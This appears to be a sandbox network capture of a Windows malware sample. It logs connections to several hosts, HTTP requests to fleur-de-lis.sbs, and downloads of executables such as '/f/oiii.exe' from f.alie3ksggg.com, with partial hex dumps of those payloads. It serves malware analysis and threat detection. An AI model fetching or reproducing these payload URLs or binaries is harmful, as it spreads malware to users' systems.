May 24, 2024 13:42:03.977601051 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:03 GMT Server: Apache/2.4.52 (Ubuntu) Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="inte.exe"; Content-Transfer-Encoding: binary Content-Length: 225280 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b4 db fb 60 f0 ba 95 33 f0 ba 95 33 f0 ba 95 33 4d f5 03 33 f1 ba 95 33 ee e8 11 33 d1 ba 95 33 ee e8 00 33 e0 ba 95 33 ee e8 16 33 93 ba 95 33 d7 7c ee 33 f5 ba 95 33 f0 ba 94 33 9e ba 95 33 ee e8 1f 33 f1 ba 95 33 ee e8 01 33 f1 ba 95 33 ee e8 04 33 f1 ba 95 33 52 69 63 68 f0 ba 95 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 af c7 fa 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 ae 00 00 00 a6 b7 01 00 00 00 00 c9 15 00 00 00 10 00 00 00 c0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 b8 01 00 04 00 00 d3 35 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$`333M33333333\|3333333333Rich3PELc@ 5<G@.text `.rdataGH@@.data($@.tls@.rsrcGH(@@
May 24, 2024 13:42:03.979537010 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: %d@;CuUEV3;uOVVVVV3@^]UQeVEPuu^
May 24, 2024 13:42:03.983347893 CEST	1236	IN	Data Raw: 59 59 5d c3 6a 58 68 70 fb 42 00 e8 3d 07 00 00 33 f6 89 75 fc 8d 45 98 50 ff 15 a4 c0 40 00 6a fe 5f 89 7d fc b8 4d 5a 00 00 66 39 05 00 00 40 00 75 38 a1 3c 00 40 00 81 b8 00 00 40 00 50 45 00 00 75 27 b9 0b 01 00 00 66 39 88 18 00 40 00 75 19 Data Ascii: YY]jXhpB=3uEP@j_}MZf9@u8<@@PEu'f9@ut@v39@Mu3CS+YujXYRMujGYH]F}jh;Y@$6E4CqD}jB;YA}j1;YS;Y;tP
May 24, 2024 13:42:03.983382940 CEST	192	IN	Data Raw: e0 77 69 83 3d 10 ae f7 01 03 75 4b 83 c6 0f 83 e6 f0 89 75 0c 8b 45 08 3b 05 00 ae f7 01 77 37 6a 04 e8 63 26 00 00 59 89 7d fc ff 75 08 e8 99 2e 00 00 59 89 45 e4 c7 45 fc fe ff ff ff e8 5f 00 00 00 8b 5d e4 3b df 74 11 ff 75 08 57 53 e8 e1 4a Data Ascii: wi=uKuE;w7jc&Y}u.YEE_];tuWSJ;uaVj58C@;uL9=H7Ct3Vh$YrE;PE3uj%Y;uE;t
May 24, 2024 13:42:03.987189054 CEST	1236	IN	Data Raw: 01 00 00 c3 b8 80 11 43 00 c3 a1 20 be f7 01 56 6a 14 5e 85 c0 75 07 b8 00 02 00 00 eb 06 3b c6 7d 07 8b c6 a3 20 be f7 01 6a 04 50 e8 03 4b 00 00 59 59 a3 18 ae f7 01 85 c0 75 1e 6a 04 56 89 35 20 be f7 01 e8 ea 4a 00 00 59 59 a3 18 ae f7 01 85 Data Ascii: C Vj^u;} jPKYYujV5 JYYujX^3C C\|j^3CWt;tu1 BC\|_3^M=8CtRK53YUVuC;r"C
May 24, 2024 13:42:03.987224102 CEST	1236	IN	Data Raw: c7 ff ff ff 8b d8 83 fb ff 74 0e 0f b6 c3 50 e8 78 57 00 00 59 85 c0 75 e1 8b c3 5b 5d c3 8b ff 55 8b ec 81 ec fc 01 00 00 a1 04 10 43 00 33 c5 89 45 fc 8b 4d 14 8b 45 08 56 33 f6 57 8b 7d 0c 89 8d 1c fe ff ff 8d 8d 7c fe ff ff 89 85 64 fe ff ff Data Ascii: tPxWYu[]UC3EMEV3W}\|dT$^0x;u LVVVVV5;t@@SuzPZYCttA$u&tt
May 24, 2024 13:42:03.994883060 CEST	1236	IN	Data Raw: 0c 85 c0 0f 84 8e 0a 00 00 8b 95 64 fe ff ff ff 85 74 fe ff ff e8 dd fa ff ff 89 85 78 fe ff ff 0f b6 c0 50 e8 8a 51 00 00 59 85 c0 75 8a 8b 85 08 fe ff ff 8b 80 bc 00 00 00 8b 00 8a 00 88 85 61 fe ff ff 3a 85 78 fe ff ff 0f 85 e5 00 00 00 8b 85 Data Ascii: dtxPQYua:xlldtTxa0P\|PCST$xklltfTxX0P\|PC
May 24, 2024 13:42:03.998828888 CEST	1236	IN	Data Raw: 01 47 80 3f 5e 8b f7 75 0a 8d 77 01 c6 85 61 fe ff ff ff 6a 20 8d 45 dc 6a 00 50 e8 d9 3b 00 00 83 c4 0c 80 3e 5d 75 09 b2 5d 46 c6 45 e7 20 eb 66 8a 95 2f fe ff ff eb 5e 46 3c 2d 75 42 84 d2 74 3e 8a 0e 80 f9 5d 74 37 46 3a d1 73 04 8a c1 eb 04 Data Ascii: G?^uwaj EjP;>]u]FE f/^F<-uBt>]t7F:s:w"*DGJu2D<]uHDx+u'lutdtCxj0^9xx
May 24, 2024 13:42:03.998866081 CEST	1236	IN	Data Raw: ff ff 00 74 13 8b 85 34 fe ff ff 89 06 8b 85 38 fe ff ff 89 46 04 eb 10 80 bd 6b fe ff ff 00 74 04 89 3e eb 03 66 89 3e 8b bd 48 fe ff ff fe 85 63 fe ff ff 47 89 bd 48 fe ff ff eb 60 3c 25 75 0a 8d 47 01 80 38 25 75 02 8b f8 ff 85 74 fe ff ff 8b Data Ascii: t48Fkt>f>HcGH`<%uG8%utGxH;ulPLLYt!tGH;uGtxu?%uDHxnu8*dxYYVSVPVSy0
May 24, 2024 13:42:04.013564110 CEST	1236	IN	Data Raw: 00 00 e9 24 09 00 00 83 8d f0 fd ff ff 02 e9 18 09 00 00 80 fa 2a 75 2c 83 c7 04 89 bd dc fd ff ff 8b 7f fc 3b fe 89 bd cc fd ff ff 0f 8d f9 08 00 00 83 8d f0 fd ff ff 04 f7 9d cc fd ff ff e9 e7 08 00 00 8b 85 cc fd ff ff 6b c0 0a 0f be ca 8d 44 Data Ascii: $u,;kDu&;kD{ItUhtDltwcT;luC9
May 24, 2024 13:42:04.034030914 CEST	1236	IN	Data Raw: f3 2d 00 00 8a 95 ef fd ff ff 59 89 85 bc fd ff ff 85 c0 74 10 89 85 e4 fd ff ff 89 b5 a0 fd ff ff 8b d8 eb 0a c7 85 e8 fd ff ff a3 00 00 00 33 f6 8b 07 83 c7 08 89 85 88 fd ff ff 8b 47 fc 89 85 8c fd ff ff 8d 85 a4 fd ff ff 50 ff b5 90 fd ff ff Data Ascii: -Yt3GPPSP5C?'Yt 9uPS5C'YYYgu;uPS5C&YYY;-uCS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49740	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.047319889 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 7d 0a f6 c7 bd d7 ad 1d a3 57 cb a5 6e 62 d7 6c 5a c1 6f af da f4 7f f7 73 7c d9 70 e4 2b 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}WnblZos\|p+&,+0/$#('=<5/Lvk.com#
May 24, 2024 13:42:03.787738085 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:03 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49741	87.240.132.72	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.051681042 CEST	164	OUT	Data Raw: 16 03 03 00 9f 01 00 00 9b 03 03 66 50 7d 0a 91 3e 62 62 a0 57 92 cc 17 cc 35 56 e9 02 ef fd 18 cc f2 c7 30 7f 86 1c 11 cf 87 a4 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}>bbW5V0&,+0/$#('=<5/Lvk.com#
May 24, 2024 13:42:03.787677050 CEST	341	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Fri, 24 May 2024 11:42:03 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49742	188.114.96.3	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.062576056 CEST	174	OUT	Data Raw: 16 03 03 00 a9 01 00 00 a5 03 03 66 50 7d 0a 89 29 7c b4 cb f3 1a 4d 3c f0 05 b6 d0 5e 6c 18 51 b8 2d 83 b8 9e 54 cf ad 3d 2a d1 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP})\|M<^lQ-T=*&,+0/$#('=<5/Vlop.foxesjoy.com#
May 24, 2024 13:42:03.567588091 CEST	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 24 May 2024 11:42:03 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49743	188.114.96.3	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.130187035 CEST	198	OUT	HEAD /jhgfd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: fleur-de-lis.sbs Cache-Control: no-cache
May 24, 2024 13:42:03.875621080 CEST	400	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 24 May 2024 11:42:03 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Cache-Control: no-cache, no-store, must-revalidate Expires: Fri, 24 May 2024 11:42:03 GMT Location: https://fleur-de-lis.sbs/jhgfd Vary: Accept-Encoding Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888d05286f395590-EWR
May 24, 2024 13:42:06.066241980 CEST	512	OUT	GET /jhgfd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: fleur-de-lis.sbs Cache-Control: no-cache Cookie: _subid=38akcjk2e94c8; 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647
May 24, 2024 13:42:06.254854918 CEST	433	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 24 May 2024 11:42:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: no-cache, no-store, must-revalidate Expires: Fri, 24 May 2024 11:42:06 GMT Location: https://fleur-de-lis.sbs/jhgfd Vary: Accept-Encoding Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888d05383fba5590-EWR Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49744	146.70.56.165	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.135112047 CEST	171	OUT	Data Raw: 16 03 03 00 a6 01 00 00 a2 03 03 66 50 7d 0a ba a7 00 cf 20 9c 93 d5 50 dc ba a4 49 f1 4b 8a fb 25 9f c2 ae 57 cc b4 df db d7 1c 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP} PIK%W&,+0/$#('=<5/Skurd.computer#
May 24, 2024 13:42:03.901897907 CEST	1036	IN	HTTP/1.1 405 Method Not Allowed Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 790 date: Fri, 24 May 2024 11:42:05 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 405 Method Not Allowed</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">405</h1><h2 style="margin-top:20px;font-size: 30px;">Method Not Allowed</h2><p>This type request is not allowed!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49745	45.130.41.108	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.201317072 CEST	173	OUT	Data Raw: 16 03 03 00 a8 01 00 00 a4 03 03 66 50 7d 0a f7 a3 02 e1 50 1b 6a e7 56 6c f8 c4 7c 2a 74 fd aa 07 f5 14 e0 c1 e8 e6 b1 3f 2e d6 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fP}PjVl\|*t?.&,+0/$#('=<5/Umonoblocked.com#
May 24, 2024 13:42:04.034096003 CEST	329	IN	HTTP/1.1 400 Bad Request Server: nginx-reuseport/1.21.1 Date: Fri, 24 May 2024 11:42:03 GMT Content-Type: text/html Content-Length: 167 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 65 75 73 65 70 6f 72 74 2f 31 2e 32 31 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx-reuseport/1.21.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49746	103.146.158.221	80	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:03.470271111 CEST	203	OUT	HEAD /f/oiii.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: f.alie3ksggg.com Cache-Control: no-cache
May 24, 2024 13:42:04.407190084 CEST	251	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:04 GMT Content-Type: application/octet-stream Content-Length: 228864 Last-Modified: Wed, 22 May 2024 09:24:31 GMT Connection: keep-alive ETag: "664db9cf-37e00" Accept-Ranges: bytes
May 24, 2024 13:42:04.407527924 CEST	202	OUT	GET /f/oiii.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: f.alie3ksggg.com Cache-Control: no-cache
May 24, 2024 13:42:04.776913881 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 11:42:04 GMT Content-Type: application/octet-stream Content-Length: 228864 Last-Modified: Wed, 22 May 2024 09:24:31 GMT Connection: keep-alive ETag: "664db9cf-37e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 37 15 01 13 73 74 6f 40 73 74 6f 40 73 74 6f 40 21 1c 6c 41 7b 74 6f 40 21 1c 6a 41 4c 74 6f 40 21 1c 6b 41 6f 74 6f 40 7a 0c fc 40 61 74 6f 40 1c 10 6e 41 7a 74 6f 40 73 74 6e 40 da 74 6f 40 e9 1d 6a 41 7e 74 6f 40 e9 1d 6d 41 72 74 6f 40 52 69 63 68 73 74 6f 40 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 41 25 22 5e 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 10 00 72 01 00 00 08 02 00 00 00 00 00 60 3b 01 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 03 00 00 04 00 00 29 37 04 00 02 00 60 c1 00 00 18 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7sto@sto@sto@!lA{to@!jALto@!kAoto@z@ato@nAzto@stn@to@jA~to@mArto@Richsto@PEdA%"^"r`;@)7`o00&T'(&h.textqr `.rdataDv@@.dataf@.pdatat@@.rsrc@@.relocv@B
May 24, 2024 13:42:04.776923895 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 8d 0d e9 6e 01 00 e9 c4 28 01 00 cc cc cc cc 48 83 ec 28 b9 02 00 00 00 e8 a6 0c 01 00 48 89 05 23 7d 02 00 48 83 c4 28 c3 cc Data Ascii: Hn(H(H#}H(H(H\| HoH((H(AHwH(pFHnH(S(H(AH7HoSFH<oH(#(H(AH'Hp#F
May 24, 2024 13:42:04.777821064 CEST	1236	IN	Data Raw: 18 25 c0 01 00 00 41 be ff ff 00 00 83 f8 40 0f 84 b9 00 00 00 48 85 ff 0f 84 b0 00 00 00 48 8b 06 48 63 48 04 44 0f b7 44 31 58 48 8b 4c 31 48 48 8b 41 40 48 83 38 00 74 22 48 8b 51 58 8b 02 85 c0 7e 18 ff c8 89 02 48 8b 49 40 48 8b 11 48 8d 42 Data Ascii: %A@HHHcHDD1XHL1HHA@H8t"HQX~HI@HHBHfDHAH@VDfE;uO$HtvHHcHDD1XHL1HHA@H8tlHQX~bHI@HHBHfD_HGHHcHHL1HHMIH@H~I;t
May 24, 2024 13:42:04.777833939 CEST	1236	IN	Data Raw: fb 31 01 00 4d 8b c4 49 8b d5 49 8b cf e8 ed 31 01 00 43 c6 04 27 00 48 89 3e 48 8b c6 4c 8b 64 24 60 48 8b 7c 24 58 48 8b 6c 24 50 4c 8b 7c 24 20 48 83 c4 28 41 5e 41 5d 5e 5b c3 e8 96 02 01 00 cc e8 a8 39 00 00 cc cc cc cc cc cc cc cc 40 53 56 Data Ascii: 1MII1C'H>HLd$`H\|$XHl$PL\|$ H(A^A]^[9@SVAUAVH(LqHHMI+HH;FHl$PHiL\|$ M<IHH;wHHHH+H;wH*HH;HBHCH\|$XLd$`H=r.HH'HH;HFHHx
May 24, 2024 13:42:04.777842999 CEST	1236	IN	Data Raw: 08 00 00 00 00 48 8d 05 a7 82 01 00 48 89 03 eb 02 33 db 40 f6 c5 01 74 0a 48 8d 4c 24 28 e8 18 14 00 00 48 89 9c 24 b0 00 00 00 48 8b cb e8 74 08 01 00 48 8b 0b 48 8b 41 08 48 8b cb ff 15 d8 75 01 00 48 89 1d 69 6e 02 00 48 8d 8c 24 b8 00 00 00 Data Ascii: HH3@tHL$(H$HtHHAHuHinH$4HL$I[0Ik8IA^_^HSUVWAVHHD$ L3p3HHdH-nH=mHuC3H$AH9=muozoHHmH$
May 24, 2024 13:42:04.778738976 CEST	1236	IN	Data Raw: 01 00 48 89 04 19 48 8b 03 48 63 48 04 8d 51 e0 89 54 19 fc 48 8b 03 48 63 48 04 48 8d 05 95 7d 01 00 48 89 04 19 48 8b 03 48 63 48 04 8d 91 68 ff ff ff 89 54 19 fc 48 89 7c 24 78 48 8d 05 74 7c 01 00 48 89 07 b9 10 00 00 00 e8 8b 10 01 00 48 8b Data Ascii: HHHcHQTHHcHH}HHHcHhTH\|$xHt\|HHHtHFIHw`HGHGHOHO HG(HG8HG0HG@HGHHGPHGLHGXL1HG@L0HGXD0HGL0HG8L0HGPD0Hn\|HLwh$E$D
May 24, 2024 13:42:04.778752089 CEST	1236	IN	Data Raw: 44 24 38 48 8d 54 24 20 48 8b cb e8 d3 fc ff ff 90 48 8b 54 24 50 48 83 fa 10 72 2e 48 ff c2 48 8b 4c 24 38 48 8b c1 48 81 fa 00 10 00 00 72 15 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 77 2a e8 f9 0b 01 00 48 8d 05 da 76 01 00 48 Data Ascii: D$8HT$ HHT$PHr.HHL$8HHrH'HIH+HHw*HvHHHL$XH3(t$`Hp[LWATAUAVAWHHD$ I[IkIs H\H3HD$pAALIKfo"yD$`E3fE{E3HvIK.
May 24, 2024 13:42:04.778760910 CEST	1236	IN	Data Raw: 00 10 00 00 72 15 48 83 c2 27 48 8b 7f f8 48 2b c7 48 83 c0 f8 48 83 f8 1f 77 39 48 8b cf e8 4c 07 01 00 49 8b c5 48 8b 4c 24 70 48 33 cc e8 5c 08 01 00 4c 8d 9c 24 80 00 00 00 49 8b 5b 38 49 8b 6b 40 49 8b 73 48 49 8b e3 41 5f 41 5e 41 5d 41 5c Data Ascii: rH'HH+HHw9HLIHL$pH3\L$I[8Ik@IsHIA_A^A]A\_.(@SH HHHSH)pH3HHJHHxH=pHHH [@SH0HD$(HHoHSHD$ H3HHJHL$ -HoHH
May 24, 2024 13:42:04.778770924 CEST	1236	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc 40 53 48 83 ec 20 f6 41 70 01 48 8d 05 9f 6e 01 00 48 89 01 48 8b d9 74 61 48 8b 41 40 48 8b 10 48 85 d2 74 0d 48 8b 41 58 48 63 08 48 8d 14 4a eb 12 48 8b 41 50 48 63 10 48 8b 41 38 48 8b 08 48 8d 14 51 48 8b 43 Data Ascii: @SH ApHnHHtaHA@HHtHAXHcHJHAPHcHA8HHQHCHH+HHHrLAH'I+HAHwGIHC3HHC8HHCPHC HHC@HHCXcpHKhHH [gHHtHHH%a@WH0H
